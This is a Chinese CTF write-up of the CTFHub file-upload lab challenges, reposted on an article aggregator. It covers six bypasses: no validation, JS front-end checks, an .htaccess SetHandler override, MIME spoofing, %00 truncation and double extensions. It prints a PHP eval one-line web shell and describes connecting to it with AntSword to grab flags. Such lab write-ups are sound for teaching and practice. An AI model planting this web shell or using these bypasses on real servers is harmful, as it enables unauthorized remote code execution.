IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFHub_文件上传 -> 正文阅读

[PHP知识库]CTFHub_文件上传

CTFHub_文件上传

0x01 无验证

打开页面如图示:
image-20210726153803757
上传一句话木马用蚁剑连接

<?php @eval($_POST[cmd]);?>

因为没有任何限制,就直接上传.php木马文件
image-20210726154434133
上传成功,显示上传文件相对路径,用蚁剑连接
image-20210726160903121
连接成功,可在/var/www/html下找到flag!
image-20210726161509103

0x02 js前端验证

打开页面如图示:
image-20210726161745082
上传木马文件1.php,显示不允许上传
image-20210726161839169
题目是js前端验证,查看网页源码,发现只能上传.jpg .png .gif图片格式文件
image-20210726161947884
将 .php文件改为.png图片文件上传
用burp抓包
将.png后缀改为.php放包
image-20210726162722087
返回路径
image-20210726163051519
继续用蚁剑连接
image-20210726163140727
拿到flag!
image-20210726163234530

0x03 .htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
image-20210726170050099
.htaccess文件(或者"分布式配置文件"),提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

打开页面如图示:
image-20210726163423442
查看源码发现大多数文件后缀都被禁用
image-20210726163624875
.hatccess文件内容如下:

SetHandler application/x-httpd-php 

先上传.htaccess,而后上传的文件,都会解析为php。文件名命名为.hatccess,上传该文件
image-20210727100215058
然后将1.php改为1.png文件上传
image-20210727100244206
上传成功返回路径,用蚁剑连接
image-20210727100501264
拿到flag!
image-20210727100528171

0x04 MIME绕过

MIME多用途互联网邮件扩展类型。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。标准的文件上传组件中会自动上传文件的MIME类型,但是由于MIME类型是从客户端传递的,修改也不影响文件正常运行,因此通过BURP拦截和修改MIME类型可以轻易绕过此类检测。具体方法:Burp suite拦截文件上传数据包,修改文件类型即可。

常见的MIME类型:

超文本标记语言文本.html text/html

普通文本.txt text/plain

RTF文本.rtf application/rtf

PDF文档.pdf application/pdf

PNG图像.png image/png

GIF图形.gif image/gif

JPEG图形.jpeg, .jpg image/jpeg

ASP.asp application/x-asap

打开页面如图示:
image-20210727101854822
上传1.php一句话木马,并用burp抓包,将文件类型修改为image/jpeg。
image-20210727102546499
上传成功并返回路径
image-20210727102607837
用蚁剑连接
image-20210727102654088
拿到flag!
image-20210727102713587

0x05 00截断

如果是白名单检测的话,我们可以采用00截断绕过。00截断利用的是php的一个漏洞。在 php<5.3.4 版本中,存储文件时处理文件名的函数认为0x00是终止符。于是在存储文件的时候,当函数读到 0x00(%00) 时,会认为文件已经结束。

例如:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。

且需注意截断条件需要满足:

(1)php版本小于5.3.4

(2)php的magic_quotes_gpc为OFF状态

打开页面如图示:
image-20210727103642245

查看源码发现只能上传.jpg .png .gif 图片格式文件
image-20210727103723213

将木马文件1.php改为1.png上传,并用burp抓包。添加1.php%00
image-20210727113935166
返回路径用蚁剑连接
image-20210727114022685
拿到flag!
image-20210727114044741

0x06 双写后缀

打开页面如图示:
image-20210727123253023
观察源代码,黑名单过滤内容较为完整,代码逻辑存在str_ireplace,将黑名单内存在的内容替换为空,从而限制用户上传的文件后缀,使php文件得不到正常的解析!

绕过本题的思路,即将上传的文件名后缀双写,即可绕过双写:phphpp、pphphp、phpphp。
image-20210727123532547
上传1.php,用burp抓包,将后缀改为phphpp
image-20210727123833452
上传成功,返回路径。但是会发现文件后缀是hpp,貌似是后缀的后三位
image-20210727123854088
重新换个后缀再试
image-20210727124250234
上传成功,并返回了正确路径
image-20210727124322173
用蚁剑连接
image-20210727124428328
连接成功,拿到flag!
image-20210727124456575

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-07 11:46:44  更:2021-08-07 11:47:27 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/28 14:41:32-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码